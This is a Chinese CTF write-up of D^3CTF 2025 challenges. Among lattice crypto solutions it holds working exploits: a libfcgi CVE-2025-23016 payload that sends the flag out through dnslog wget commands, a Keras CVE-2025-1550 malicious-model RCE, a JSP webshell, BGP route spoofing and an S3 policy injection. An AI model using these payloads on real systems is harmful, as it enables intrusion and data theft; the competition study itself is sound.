· CTF赛龄1年以上
· 热爱网络安全,喜欢CTF
· 无人际交流障碍,不以阴阳怪气为乐;乐于奉献、热爱分享,愿意提升 自己同时帮助他人
· 时间允许参加各类赛事,服从战队管理与安排
· 各类比赛获奖者、能力出众者视情况考量
· 未参与其他高校联队
· 大一同学视情况放宽资历要求
发送简历于邮箱
· 简历邮箱:[email protected]
比赛信息
队伍名称:N0WayBack
Rank: 5th
Cain;61儿童节快乐捏!
Crypto
d3fnv
异或可以等价转化为加减法,因此题目FNV本质上是一个32次的小系数多项式,其中密钥key
未知
可以尝试结合多组FNV数据,利用正交格求解小系数的值,进而反解密钥
但是解出小系数的顺序是无法保证的,并且可能存在小系数之间线性组合的情况。不过经过测试有一定概率能够直接解出key
,因此做到这一步多次重连尝试就足够了
from sage.allimport *
from pwn import *
from Crypto.Util.number import *
from tqdm import trange
classFNV():
def__init__(self):
self.pbit = 1024
self.p = getPrime(self.pbit)
self.key = random.randint(0, self.p)
defH4sh(self, value:str):
length = len(value)
x = (ord(value[0]) << 7) % self.p
for c in value:
x = ((self.key * x) % self.p) ^ ord(c)
x ^= length
return x
defattack():
io = remote(*"34.150.83.54:31198".split(":"))
io.sendlineafter(b'option >', b'G')
io.recvuntil(b'p = ')
p = int(io.recvline().strip().decode())
n = 32
cnt = 67
m = cnt - 2
hs = list()
for _ in trange(m):
io.sendlineafter(b'option >', b'H')
io.recvuntil(b'Token Hash: ')
h = int(io.recvline().strip().decode())
hs.append(h ^ n)
K = 2**1024
L = block_matrix(ZZ, [
[1, K*matrix(hs).T],
[0, K*p]
]).LLL()[:m-n-1,:m]
L = block_matrix([
[1, K*L.T]
]).LLL()[:n+1,:m]
v = L.change_ring(GF(p)).solve_left(vector(hs))
v = list(map(int, v.list()))
fnv = FNV()
fnv.p = p
fnv.key = v[16]
io.sendlineafter(b'option >', b'F')
io.recvuntil(b'Here is a random token x: ')
random_token = io.recvline().strip().decode()
ans = fnv.H4sh(random_token) % fnv.p
io.sendlineafter(b'H4sh(x)? ', str(ans))
print(io.recvline().strip().decode())
flag = io.recvline().strip().decode()
io.close()
return flag
whileTrue:
flag = attack()
print(flag)
if'Bye'notin flag:
break
# d3ctf{185cf710-cf48-4b98-82cf-86ccf8b70e4e}
d3sys[p2_2.0]
题目给出盲化后的MSB以及公钥,要求分解,找到论文
https://eprint.iacr.org/2022/1163.pdf,攻击思路和第三章节的步骤大部分吻合,唯一的区别在于本题中难以在短时间内分解 的乘积,不过由于可以求出 模 下的值,所以可以转化成单元copper求解出 。
from Crypto.Util.number import *
from re import findall
from subprocess import check_output
defflatter(M):
# compile https://github.com/keeganryan/flatter and put it in $PATH
z = "[[" + "]n[".join(" ".join(map(str, row)) for row in M) + "]]"
ret = check_output(["flatter"], input=z.encode())
return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\d+", ret)))
defuni_small_roots(self, X=None, beta=1.0, epsilon=None, **kwds):
from sage.misc.verbose import verbose
from sage.matrix.constructor import Matrix
from sage.rings.real_mpfr import RR
N = self.parent().characteristic()
ifnotself.is_monic():
raise ArithmeticError("Polynomial must be monic.")
beta = RR(beta)
if beta <= 0.0or beta > 1.0:
raise ValueError("0.0 < beta <= 1.0 not satisfied.")
f = self.change_ring(ZZ)
P, (x,) = f.parent().objgens()
delta = f.degree()
if epsilon isNone:
epsilon = beta / 8
verbose("epsilon = %f" % epsilon, level=2)
m = max(beta**2 / (delta * epsilon), 7 * beta / delta).ceil()
verbose("m = %d" % m, level=2)
t = int((delta * m * (1 / beta - 1)).floor())
verbose("t = %d" % t, level=2)
if X isNone:
X = (0.5 * N ** (beta**2 / delta - epsilon)).ceil()
verbose("X = %s" % X, level=2)
# we could do this much faster, but this is a cheap step
# compared to LLL
g = [x**j * N ** (m - i) * f**i for i inrange(m) for j inrange(delta)]
g.extend([x**i * f**m for i inrange(t)]) # h
B = Matrix(ZZ, len(g), delta * m + max(delta, t))
for i inrange(B.nrows()):
for j inrange(g[i].degree() + 1):
B[i, j] = g[i][j] * X**j
B = flatter(B)
f = sum([ZZ(B[0, i] // X**i) * x**i for i inrange(B.ncols())])
R = f.roots()
ZmodN = self.base_ring()
roots = set([ZmodN(r) for r, m in R ifabs(r) <= X])
Nbeta = N**beta
return [root for root in roots if N.gcd(ZZ(self(root))) >= Nbeta]
from Crypto.Util.number import *
from ast import literal_eval
from hashlib import sha256
from tqdm import *
import time
from pwn import remote, context
context.log_level = "critical"
nbit = 3072
blind_bit = 153
unknownbit = 983
e_bit = 170
for _ in trange(10000):
nbit = 3072
blind_bit = 153
unknownbit = 983
e_bit = 170
sh = remote("35.220.136.70", 31449)
sh.sendline(b"G")
sh.recvuntil(b"dp,dq:")
T1 = time.time()
dph, dqh = literal_eval(sh.recvline().strip().decode())
dph, dqh = dph << unknownbit, dqh << unknownbit
sh.recvuntil(b"n,e:")
pub = literal_eval(sh.recvline().strip().decode())
n, e = pub[0]
k_l_ = int(e^2*dph*dqh // n + 1)
k_pl_ = (1 - k_l_*(n - 1)) % e
R.<x> = PolynomialRing(Zmod(e))
f = k_l_ + x^2 - k_pl_*x
kk, ll = list(map(int, f.roots(multiplicities = False)))
########################################################### exp
upbound = 153
PR.<x> = PolynomialRing(Zmod(k_l_))
f = (e*x + kk)
f = f.monic()
res = uni_small_roots(f, X=2^upbound, beta=0.499, epsilon=0.02)
if(res != []):
rp = int(res[0])
k_ = e*rp + kk
if(k_l_ % k_ == 0):
PR.<x> = PolynomialRing(Zmod(k_*n))
f = x + inverse(e, k_*n) * (e*dph + k_ - 1)
f = f.monic()
#res = f.small_roots(X=2^(unknownbit-1), beta=0.499, epsilon=0.02)
res = uni_small_roots(f, X=2^unknownbit, beta=0.499, epsilon=0.02)
dpl = int(res[0])
dp_ = dph + dpl
p = GCD(pow(2, e*dp_, n) - 2, n)
q = n // p
print(p*q == n)
sh.sendline(b"F")
sh.recvuntil(b'Encrypted Token: ')
enc = int(sh.recvline().strip().decode(), 16)
token = long_to_bytes(pow(enc, inverse(e, (p-1)*(q-1)), n))
print(len(token))
token = sha256(token).hexdigest()
sh.sendline(token.encode())
print(sh.recvline())
print(sh.recvline())
break
T2 = time.time()
print("Bad luck. Time cost:", T2-T1)
sh.close()
#d3ctf{th1rd_7hirD_thI2d.1/3_cou1d_b3_m000rE_OnE_ddd4y@@@@@@@}
Misc
d3rpg-signin
使用 Mtool 的 导出待翻译的原文
功能,获取到游戏的字符串数据。
查看翻译文件,发现一段完整的 base64 数据。
对该 Base64 数据进行解码,直接得到 flag :
d3ctf{W3lc0m3_7o_d3_RpG_W0r1d}
d3image
参照论文IRWArt
修改下d3net.py和block
from model import *
from block import INV_block
classD3net(nn.Module):
def__init__(self):
super(D3net, self).__init__()
self.inv1 = INV_block()
self.inv2 = INV_block()
self.inv3 = INV_block()
self.inv4 = INV_block()
self.inv5 = INV_block()
self.inv6 = INV_block()
self.inv7 = INV_block()
self.inv8 = INV_block()
defforward(self, x, rev=False):
ifnot rev:
out = self.inv1(x)
out = self.inv2(out)
out = self.inv3(out)
out = self.inv4(out)
out = self.inv5(out)
out = self.inv6(out)
out = self.inv7(out)
out = self.inv8(out)
else:
print(1)
out = self.inv8(x, rev=True)
out = self.inv7(out, rev=True)
out = self.inv6(out, rev=True)
out = self.inv5(out, rev=True)
out = self.inv4(out, rev=True)
out = self.inv3(out, rev=True)
out = self.inv2(out, rev=True)
out = self.inv1(out, rev=True)
return out
classINV_block(nn.Module):
def__init__(self, clamp=2.0):
super().__init__()
self.channels = 3
self.clamp = clamp
# ρ
self.r = ResidualDenseBlock_out()
# η
self.y = ResidualDenseBlock_out()
# φ
self.f = ResidualDenseBlock_out()
defe(self, s):
return torch.exp(self.clamp * 2 * (torch.sigmoid(s) - 0.5))
defforward(self, x, rev=False):
x1, x2 = (x.narrow(1, 0, self.channels*4),
x.narrow(1, self.channels*4, self.channels*4))
ifnot rev:
t2 = self.f(x2)
y1 = x1 + t2
s1, t1 = self.r(y1), self.y(y1)
y2 = self.e(s1) * x2 + t1
else:
s1, t1 = self.r(x1), self.y(x1)
y2 = (x2 - t1) / self.e(s1)
t2 = self.f(y2)
y1 = (x1 - t2)
return torch.cat((y1, y2), 1)
虽然这个B论文的仓库没给use的代码,但是看训练的代码还是能找到backward
def decode(steg):
steg = transform2tensor(steg)
steg = dwt(steg)
output_steg = steg.cuda()
output_z = gauss_noise(torch.Size([1, 12, 360, 640]))
output_rev = torch.cat((output_steg, output_z), 1)
output_image = d3net(output_rev, rev=True)
secret_rev = output_image.narrow(1, 4 * 3, output_image.shape[1] - 4 * 3)
secret_rev = iwt(secret_rev)
image = secret_rev.view(-1) > 0
candidates = Counter()
bits = image.data.int().cpu().numpy().tolist()
for candidate in bits_to_bytearray(bits).split(b'x00x00x00x00'):
candidate = bytearray_to_text(bytearray(candidate))
if candidate:
candidates[candidate] += 1
iflen(candidates) == 0:
raise ValueError('Failed to find message.')
candidate, count = candidates.most_common(1)[0]
print(candidate)
d3RPKI
这个题目给了一个ssh的连接权限和docker容器配置,我读了一下配置发现给的权限是t2-1容器的,结合容器配置和ssh机器的网络配置,能获取到的网络信息是这样的:
网络拓扑图:
+-----+
| t1 | (核心路由)
+-----+
| | |
| | |
BGP | | | BGP
| | |
v v v
+-----+ +-----+ +-----+
| t2-1| | t2-2| | t2-3|
+-----+ +-----+ +-----+
(ssh) (flag发送者) (10.4.0.0/24 拥有者)
t2-2机器的entrypoint里面写了,它会把flag每隔10秒通过nc发给10.4.0.4这台机器,在10.4.0.0/24这个段里面,这个段由t2-3这台机器持有,但是这个机器的bird里面配置了route 10.4.0.0/24 reject;说明虽然它持有这个段,但是它永远不会告诉任何机器它可以到达 10.4.0.0/24。所有机器都启用了RPKI认证。
查看配置发现,t1的roa_stayrtr.json配置允许10.4.0.0/16的ASN为4211110004。通过RPKI AS_PATH伪造的方式(RPKI检查只查看路由路径中的最后一个 AS 号码。没有验证整个路径),可以绕过RPKI认证,t2-1可以欺骗t1将恶意的路由信息转发给t2-2,t1和t2-2收到错误的路由信息后,flag将会经过t1转发到t2-1,只要在t2-1上面开一个nc监听1234端口,就可以获取到flag。
具体落实到配置就是修改t2-1的bird配置文件中的BGP_peers template为:
template bgp BGP_peers {
ipv4 {
table BGP_table;
import filter{
if roa_check(r4, net, bgp_path.last) !~ [ROA_VALID] then {
print "ROA check failed for ", net, " ASN ", bgp_path.last;
reject;
}
accept;
};
export filter {
if net = 10.4.0.5/32 then {
bgp_path.prepend(4211110004);
accept;
}
if source ~ [RTS_STATIC, RTS_BGP] then accept;
reject;
};
};
}
修改完配置后,使用birdc configure重新加载配置,nc监听1234端口,几秒钟后成功获取到flag
Flag: d3ctf{c9780467-2ff8-4ccf-96e1-49b36e3f6822}
Pwn
d3cgi
challenge文件ida分析后内容少,且基本看不出什么问题,不出意外漏洞点在于题目指定的libfcgi库中,直接尝试去搜索libfcgi cve,很容易找到CVE-2025-23016,找到文章https://www.synacktiv.com/en/publications/cve-2025-23016-exploiting-th
使用文章的所给的exp,且使用exp前需curl访问一遍环境,具体原理文章有讲,ubuntu22.04所搭建的docker环境,具体调试后发现需要把exp的p8(0) * (2*2)去除才能正常跑通(真离谱)任意执行代码改成pkill lighttpd,用于验证可以直接打通d3所给的容器环境
不知道为何不能反弹shell,所以先一步步将字节echo到一个文件中,然后执行最后采用dnslog拿flag
from pwn import *
import os
exe = context.binary = ELF('./challenge')
defstart(argv=[], *a, **kw):
return remote("35.241.98.126", 32274)
"""
typedef struct {
unsigned char version;
unsigned char type;
unsigned char requestIdB1;
unsigned char requestIdB0;
unsigned char contentLengthB1;
unsigned char contentLengthB0;
unsigned char paddingLength;
unsigned char reserved;
} FCGI_Header;
"""
defmakeHeader(type, requestId, contentLength, paddingLength):
header = p8(1) + p8(type) + p16(requestId) + p16(contentLength)[::-1] + p8(paddingLength) + p8(0)
return header
"""
typedef struct {
unsigned char roleB1;
unsigned char roleB0;
unsigned char flags;
unsigned char reserved[5];
} FCGI_BeginRequestBody;
"""
defmakeBeginReqBody(role, flags):
return p16(role)[::-1] + p8(flags) + b"x00" * 5
b66 = b"d2dldCBgaGVhZCAtYyAyMCBmbGFnfGJhc2UzMnwgdHIgLWQgJz0nYC5pdzM0bnAuZG5zbG9nLmNu"#dnslog获取前20字符
b33 = b"d2dldCBgdGFpbCAtYyAyMCBmbGFnfGJhc2UzMnwgdHIgLWQgJz0nYC5pdzM0bnAuZG5zbG9nLmNu"#dnslog获取前20~40字符
b22 = b"d2dldCBgaGVhZCAtYyA0MCBmbGFnfHRhaWwgLWMgMjB8YmFzZTMyfCB0ciAtZCAnPSdgLml3MzRucC5kbnNsb2cuY24="#dnslog获取后20字符
string = b"echo "" + b22 +b"" | base64 -d | bash"#b66 b33 b22 分别执行3次
length = 4
code = []
for i inrange(0, len(string), length):
code.append(string[i:i+length])
for i in code:
if i == b"echo":
i = b";;echo -n '"+i+b"'>1"
elifb"'"in i:
i = b";;echo -n $'"+i+b"'>>1"
else:
i = b";;echo -n '"+i+b"'>>1"
os.system("curl http://35.241.98.126:31074")
io = start()
header = makeHeader(9, 0, 900, 0)
print(hex(exe.plt["system"]))
payload = makeHeader(1, 1, 8, 0) + makeBeginReqBody(1, 0) + header
payload+= (p8(0x13) + p8(0x13) + b"b" * 0x26)*9
payload+= p8(0) * (2*2)
payload+= p32(0xffffffff) + p32(0xffffffff) + b"a" * (4 * 4)
payload+= i.ljust(20, b" ")
payload+= p32(0) * 3 + p32(exe.plt["system"])
io.send(payload)
io.close()
sleep(1)
code =[
b';;chmod +x 1',
b';;mv 1 ew',
b";;bash ew > 2 2>&1",
]
for i in code:
os.system("curl http://35.241.98.126:31074")
io = start()
header = makeHeader(9, 0, 900, 0)
print(hex(exe.plt["system"]))
payload = makeHeader(1, 1, 8, 0) + makeBeginReqBody(1, 0) + header
payload+= (p8(0x13) + p8(0x13) + b"b" * 0x26)*9
payload+= p8(0) * (2*2)
payload+= p32(0xffffffff) + p32(0xffffffff) + b"a" * (4 * 4)
payload+= i.ljust(20, b" ")
payload+= p32(0) * 3 + p32(exe.plt["system"])
io.send(payload)
io.close()
sleep(1)
Re
d3rpg-revenge
解包密钥改了几回都尝试失败,只能换个思路做了。
查阅文档能找到下面函数:
查看 d3rpg.ini
配置文件,得到储存脚本的数据文件名为 Unknown
。
使用 MTool 的 VxConsole
功能调出控制台。
在控制台中执行 save_data(load_data("Unknown"), "Unknown")
,将加密档案内的数据文件保存到外部。
使用以下脚本进行解包:
require 'zlib'
require'fileutils'
defunpack(packed_data, output_dir)
FileUtils.mkdir_p(output_dir) unlessFile.directory?(output_dir)
puts "[*] 目标目录:#{output_dir}"
packed_data.each_with_index do |(_offset, filename, compressed_content), idx|
begin
decompressed_content = Zlib::Inflate.inflate(compressed_content)
file_path = File.join(output_dir, filename)
FileUtils.mkdir_p(File.dirname(file_path)) unlessFile.directory?(File.dirname(file_path))
File.open(file_path, "wb") do |f|
f.write(decompressed_content)
end
puts "[+] 解包成功: #{file_path}"
end
end
puts "[*] 解包完成!"
end
begin
rvdata2_data = File.open("Unknown", "rb") do |f|
Marshal.load(f)
end
unpack(rvdata2_data, "unpacked")
end
直接 cat * > a.rb
将解包后的文件合并为 a.rb
,搜索找到 check 函数。
丢给 GPT 分析得到解密代码,密文则是在解了 UPX 的 secret_dll.dll
中的 check_flag
函数中找到的。
# 确保 $de1ta 的值在解密时与加密时一致
$de1ta = 0 # 假设加密时 $de1ta 为 0
module Scene_RPG
class Secret_Class
DELTA = 0x1919810 | (($de1ta + 1) * 0xf0000000)
DELTA_DECRYPT = 0xf1919810
def initialize(new_key)
@key = str_to_longs(new_key)
if @key.length < 4
@key.length.upto(4) { |i| @key[i] = 0 }
end
end
def self.str_to_longs(s, include_count = false)
s = s.dup
length = s.length
((4 - s.length % 4) & 3).times { s << " " }
unpacked = s.unpack('V*').collect { |n| int32 n }
unpacked << length if include_count
unpacked
end
def str_to_longs(s, include_count = false)
self.class.str_to_longs s, include_count
end
def self.longs_to_str(l, count_included = false)
s = l.pack('V*')
s = s[0...(l[-1])] if count_included
s
end
def longs_to_str(l, count_included = false)
self.class.longs_to_str l, count_included
end
def self.int32(n)
n -= 4_294_967_296 while (n >= 2_147_483_648)
n += 4_294_967_296 while (n <= -2_147_483_648)
n.to_i
end
def int32(n)
self.class.int32 n
end
def mx(z, y, sum, p, e)
int32(
((z >> 5 & 0x07FFFFFF) ^ (y << 2)) +
((y >> 3 & 0x1FFFFFFF) ^ (z << 4))
) ^ int32((sum ^ y) + (@key[(p & 3) ^ e] ^ z))
end
def decrypt(ciphertext)
return '' if ciphertext.empty?
# Base64 解码
binary = ciphertext.unpack('m0').first
# 转换为长整型数组(不包含计数)
v = str_to_longs(binary, false)
return '' if v.empty?
n = v.length - 1
q = (6 + 52 / (n + 1)).floor
total_sum = int32(q * DELTA_DECRYPT) # 初始 sum = q * DELTA(假设 $de1ta=0)
while q > 0
e = total_sum >> 2 & 3
# 逆向最后一个元素
v[n] = int32(v[n] - mx(v[n-1], v[0], total_sum, n, e))
# 逆向中间元素(从 n-1 到 1)
(n-1).downto(1) do |i|
v[i] = int32(v[i] - mx(v[i-1], v[i+1], total_sum, i, e))
end
# 逆向第一个元素
v[0] = int32(v[0] - mx(v[n], v[1], total_sum, 0, e))
total_sum = int32(total_sum - DELTA_DECRYPT)
q -= 1
end
# 提取原始长度并截断字符串
length = v.last
result = longs_to_str(v[0..-2], false)
result[0, length]
end
def self.decrypt(key, ciphertext)
self.new(key).decrypt(ciphertext)
end
end
end
key_string = 'rpgmakerxp_D3CTF'
encrypted_flag = "LhVvfepywFIsHb8G8kNdu49J3k0=" # 替换为实际的加密 Flag
# 创建 Secret_Class 实例进行解密
decryptor = Scene_RPG::Secret_Class.new(key_string)
decrypted_flag = decryptor.decrypt(encrypted_flag)
puts "解密后的 Flag 为: #{decrypted_flag}"
d3ctf{Y0u_R_RPG_M4st3r}
web
d3invitation
开局一个文件上传,通过抓包分析有两个包,一个是获取凭据的,一个是上传的,在获取凭据的时候可以指定对象名,通过对获取的sts进行jwt解密可以得知对象名会和访问权限等内容内嵌到sts里,所以就可以通过控制对象名来伪造sts权限,请求包如下
POST /api/genSTSCredsHTTP/1.1
Accept-Language:zh-CN,zh;q=0.9
Accept:*/*
User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/136.0.0.0Safari/537.36
Content-Type:application/json
Accept-Encoding:gzip,deflate
Content-Length:49
{"object_name":"*"]},{"Effect":"Allow","Action":["s3:ListAllMyBuckets"],"Resource":["*"]},{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":["arn:aws:s3:::flag/*"]},{"Effect":"Allow","Action":["s3:ListBucket"],"Resource":["arn:aws:s3:::flag"}
当赋予了对应权限之后即可列出对应的桶信息,在flag桶下拿到flag
import boto3
from botocore.client import Config
from botocore.exceptions import ClientError
deflist_objects_in_bucket(access_key, secret_key, session_token, endpoint, bucket):
session = boto3.session.Session()
s3 = session.client(
service_name='s3',
endpoint_url=endpoint,
aws_access_key_id=access_key,
aws_secret_access_key=secret_key,
aws_session_token=session_token,
config=Config(signature_version='s3v4'),
region_name='us-east-1'
)
response = s3.list_objects_v2(Bucket=bucket)
if'Contents'in response:
print(f"桶 '{bucket}' 中的对象列表:")
for obj in response['Contents']:
print(f" - {obj['Key']} (大小: {obj['Size']} bytes)")
else:
print(f"桶 '{bucket}' 为空或无法获取对象列表。")
defdownload_flag_file(access_key, secret_key, session_token, endpoint, bucket, object_name, download_path):
session = boto3.session.Session()
s3 = session.client(
service_name='s3',
endpoint_url=endpoint,
aws_access_key_id=access_key,
aws_secret_access_key=secret_key,
aws_session_token=session_token,
config=Config(signature_version='s3v4'),
region_name='us-east-1'
)
try:
s3.download_file(bucket, object_name, download_path)
print(f"成功下载 {object_name} 到 {download_path}")
except ClientError as e:
print(f"下载失败: {e}")
if __name__ == "__main__":
access_key = "CTATXMJUXWCQ78YWE2W3"
secret_key = "0iXvMXYagbkgQPVkaMbuSdUsshah4+iEf6oYCe9A"
session_token = "eyJhbGciOiJIUzUx0MiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiJDVEFUWE1KVVhXQ1E3OFlXRTJXMyIsImV4cCI6MTc0ODYxODkxMywicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZVSFYwVDJKcVpXTjBJaXdpY3pNNlIyVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2S2lKZGZTeDdJa1ZtWm1WamRDSTZJa0ZzYkc5M0lpd2lRV04wYVc5dUlqcGJJbk16T2t4cGMzUkJiR3hOZVVKMVkydGxkSE1pWFN3aVVtVnpiM1Z5WTJVaU9sc2lLaW9pWFgwc2V5SkZabVpsWTNRaU9pSkJiR3h2ZHlJc0lrRmpkR2x2YmlJNld5SnpNenBIWlhSUFltcGxZM1FpTENKek16cFFkWFJQWW1wbFkzUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjdktpSmRmU3g3SWtWbVptVmpkQ0k2SWtGc2JHOTNJaXdpUVdOMGFXOXVJanBiSW5Nek9reHBjM1JDZFdOclpYUWlYU3dpVW1WemIzVnlZMlVpT2xzaVlYSnVPbUYzY3pwek16bzZPbVpzWVdjaVhYMWRmUT09In0.6Bzsz-fznsQZVWBGHRjqZSM2yZeL14i1-N1YlLJDkZCl8iHnG8bbpfvWwjkZk3_QUNPmJjDQBZSkL6j3MyGHEg"
list_objects_in_bucket(access_key,secret_key,session_token,"http://34.150.83.54:30946","flag")
d3model
参考链接:https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models
用里面的exp生成文件然后上传即可得到flag
import zipfile
import json
from keras.models import Sequential
from keras.layers import Dense
import numpy as np
import os
model_name = "test.keras"
x_train = np.random.rand(100, 28 * 28)
y_train = np.random.rand(100)
model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])
model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)
with zipfile.ZipFile(model_name, "r") as f:
config = json.loads(f.read("config.json").decode())
config["config"]["layers"][0]["module"] = "keras.models"
config["config"]["layers"][0]["class_name"] = "Model"
config["config"]["layers"][0]["config"] = {
"name": "mvlttt",
"layers": [
{
"name": "mvlttt",
"class_name": "function",
"config": "Popen",
"module": "subprocess",
"inbound_nodes": [{"args": [["sh", "-c","env>/app/index.html"]], "kwargs": {"bufsize": -1}}]
}],
"input_layers": [["mvlttt", 0, 0]],
"output_layers": [["mvlttt", 0, 0]]
}
with zipfile.ZipFile(model_name, 'r') as zip_read:
with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
for item in zip_read.infolist():
if item.filename != "config.json":
zip_write.writestr(item, zip_read.read(item.filename))
os.remove(model_name)
os.rename(f"tmp.{model_name}", model_name)
with zipfile.ZipFile(model_name, "a") as zf:
zf.writestr("config.json", json.dumps(config))
print("[+] Malicious model ready")
tidy quic
WAF
func (w *wrap) Read(p []byte) (int, error) {
for i := 0; i < n; i++ {
if p[i] == w.ban[w.idx] {
w.idx++
if w.idx == len(w.ban) {
return n, ErrWAF // WAF
}
} else {
w.idx = 0 // 简单重置
}
}
}
缓冲区处理差异
if length == -1 {
// 路径1: io.ReadAll
buf, err = io.ReadAll(textInterrupterWrap(r.Body))
} else {
// 路径2: 缓冲区池
buf = p.Get(length) // 从池中获取缓冲区
defer p.Put(buf) // 使用后返回池中
// 循环读取到buf中...
}
拿flag点
if bytes.HasPrefix(buf, []byte("I want")) {
item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want")))
if bytes.Equal(item, []byte("flag")) {
w.Write([]byte(os.Getenv("FLAG")))
}
}
缓冲区池污染
-
1. 缓冲区重用机制: BufferPool
为了性能优化会重用缓冲区 -
2. 未完全清零:从池中获取的缓冲区包含之前的数据残留 -
3. Content-Length控制:通过相同的Content-Length可以获取相同大小的缓冲区
思路
1:污染缓冲区池
-
• 发送包含 "flag"
的数据触发WAF -
• 虽然请求失败,但污染的缓冲区被返回池中 -
• 数据布局: "ABCDEF flag "
(20字节)
2:污染缓冲区
-
• 发送 "I want"
(6字节),Content-Length=20 -
• 从池中获取被污染的20字节缓冲区 -
• 只覆盖前6字节,后14字节保持污染状态
1. 构造污染数据:"ABCDEF flag " (20字节)
├─ [0-5]:"ABCDEF" (准备拿来给I want覆盖的6字节)
├─ [6-9]:" " (4个空格)
├─ [10-13]:"flag"
└─ [14-19]:" " (6个空格)
2. 发送污染请求: Content-Length=20
└─ 结果: WAF触发,但缓冲区被污染并返回池中
3. 立即发送利用请求:"I want" + Content-Length=20
├─ 从池中获取被污染的20字节缓冲区
├─ 只覆盖前6字节"I want"
└─ 后14字节保持污染状态
4. 服务器处理:
├─ HasPrefix("I want flag ","I want")
├─ TrimPrefix → " flag "
├─ TrimSpace → "flag"
└─ Equal("flag","flag") FLAG
exp
package main
import (
"bytes"
"crypto/tls"
"fmt"
"io"
"net/http"
"time"
"github.com/quic-go/quic-go/http3"
)
func main() {
client := &http.Client{
Transport: &http3.RoundTripper{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
},
Timeout: 15 * time.Second,
}
target := "https://34.150.83.54:31675"
// 污染缓冲区
// 构造 20 字节数据:"ABCDEF flag "
data1 := make([]byte, 20)
copy(data1[0:6], "ABCDEF")
copy(data1[6:10], " ")
copy(data1[10:14], "flag")
copy(data1[14:], " ")
req1, err := http.NewRequest("POST", target, bytes.NewReader(data1))
if err != nil {
panic(err)
}
req1.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req1.ContentLength = 20
// 污染缓冲区
resp1, err := client.Do(req1)
if err != nil {
panic(err)
}
resp1.Body.Close()
time.Sleep(100 * time.Millisecond)
// 发送 "I want" 复用被污染的缓冲区覆盖ABCDEF
// 就变成了:"I want flag "
data2 := []byte("I want")
req2, err := http.NewRequest("POST", target, bytes.NewReader(data2))
if err != nil {
panic(err)
}
req2.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req2.ContentLength = 20// 和第一个请求相同的ContentLength
resp2, err := client.Do(req2)
if err != nil {
panic(err)
}
body, err := io.ReadAll(resp2.Body)
if err != nil {
panic(err)
}
resp2.Body.Close()
fmt.Printf("%s", body)
}
d3jtar
能够文件上传,但只有后缀是可控的
同时还有tar压缩和tar解压的地方
最后有一个 /view 路由能够加载jsp马
在测试的时候发现,当文件名为中文时,tar压缩后再解压会出现文件名乱码
这就有意思了,开始探索出现的乱码是否可控
研究一下 测
和 K
的关系,先看他们的unicode编码
测:u6d4b
K: u004b
可以发现,他们的低位是一样,那么猜测压缩的时候会只保留低位,也就是会 &0xff
多测试了几个汉字,发现结果也是一样的
所以可以通过控制低位,经过 tar 压缩和解压后,会出现 jsp 后缀的文件
jsp: u006au0073u0070
浪浳浰: u6d6au6d73u6d70
上传后缀为 浪浳浰
的文件,文件内容为jsp的回显马
<% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
接着压缩后再解压
然后访问 /view 路由执行命令,得到flag
原文始发于微信公众号(N0wayBack):D^3 CTF2025 WriteUp By N0wayBack
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论